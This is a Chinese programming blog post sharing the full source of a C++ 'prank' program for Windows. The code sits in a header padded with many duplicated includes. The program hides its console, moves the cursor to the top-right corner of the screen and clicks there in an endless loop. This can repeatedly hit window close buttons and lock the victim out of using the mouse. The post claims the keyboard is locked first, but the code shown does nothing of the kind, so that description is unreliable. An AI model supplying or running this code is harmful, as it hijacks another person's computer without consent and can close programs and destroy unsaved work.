鼠标模拟坑人程序(C++){注:含有一个头文件}

坑人方式:锁定键盘后将鼠标移到左上角,然后鼠标缓缓向右移,直到移到右上角,移到到了后疯狂按鼠标左键
代码上:

#include<lzcwindows.h>
using namespace std;
int main(){
	SCsPWindow();

	return 0;
}

这个lzcwindows.h头文件在下面:

#ifndef _LZCWINDOWS_
#define _LZCWINDOWS_

#include<windows.h>
#include<assert.h>
#include<ctype.h>
#include<errno.h>
#include<float.h>
#include<fstream>
#include<iomanip>
#include<iostream>
#include<limits.h>
#include<locale.h>
#include<math.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<time.h>
#include<wchar.h>
#include<wctype.h>
#include<algorithm>
#include<bitset>
#include<cctype>
#include<cerrno>
#include<clocale>
#include<cmath>
#include<complex>
#include<cstdio>
#include<cstdlib>
#include<cstring>
#include<ctime>
#include<deque>
#include<exception>
#include<fstream>
#include<functional>
#include<limits>
#include<list>
#include<map>
#include<iomanip>
#include<ios>
#include<iosfwd>
#include<iostream>
#include<istream>
#include<ostream>
#include<queue>
#include<set>
#include<sstream>
#include<stack>
#include<stdexcept>
#include<streambuf>
#include<string>
#include<utility>
#include<vector>
#include<cwchar>
#include<cwctype>
#include<complex.h>
#include<fenv.h>
#include<inttypes.h>
#include<stdbool.h>
#include<stdint.h>
#include<tgmath.h>
#include<assert.h>
#include<ctype.h>
#include<errno.h>
#include<float.h>
#include<fstream>
#include<iomanip>
#include<iostream>
#include<limits.h>
#include<locale.h>
#include<math.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<time.h>
#include<wchar.h>
#include<wctype.h>
#include<algorithm>
#include<bitset>
#include<cctype>
#include<cerrno>
#include<clocale>
#include<cmath>
#include<complex>
#include<cstdio>
#include<cstdlib>
#include<cstring>
#include<ctime>
#include<deque>
#include<exception>
#include<fstream>
#include<functional>
#include<limits>
#include<list>
#include<map>
#include<iomanip>
#include<ios>
#include<iosfwd>
#include<iostream>
#include<istream>
#include<ostream>
#include<queue>
#include<set>
#include<sstream>
#include<stack>
#include<stdexcept>
#include<streambuf>
#include<string>
#include<utility>
#include<vector>
#include<cwchar>
#include<cwctype>
#include<complex.h>
#include<fenv.h>
#include<inttypes.h>
#include<stdbool.h>
#include<conio.h>
#include<bits/stdc++.h>
#include <winable.h>  
void MouseLeftDown()
{
	INPUT Input={0};
	Input.type=INPUT_MOUSE;
	Input.mi.dwFlags=MOUSEEVENTF_LEFTDOWN;
	SendInput(1,&Input,sizeof(INPUT));
}
 
void MouseLeftUp()
{
	INPUT Input={0};
	Input.type=INPUT_MOUSE;
	Input.mi.dwFlags=MOUSEEVENTF_LEFTUP;
	SendInput(1,&Input,sizeof(INPUT));
	
}
void HideWindow() {
	HWND hwnd;
	hwnd=FindWindow("ConsoleWindowClass",NULL);
	if(hwnd)        ShowWindow(hwnd,SW_HIDE);
	return;
}
void SCsPWindow()
{
	HideWindow();
	FreeConsole(); 
	int x=GetSystemMetrics(SM_CXSCREEN);
    for(int i=1;i<=x;i++)
    {
    	SetCursorPos(i,1);
    	Sleep(1);
	}
	while(1)
	{
		SetCursorPos(x,1);
		MouseLeftDown();
		MouseLeftUp();
	}
	
	return ;
}

#endif

部分有转载,请谅解
在这里插入图片描述

原创文章 75 获赞 126 访问量 1万+

猜你喜欢

转载自blog.csdn.net/liuzich/article/details/102875053
今日推荐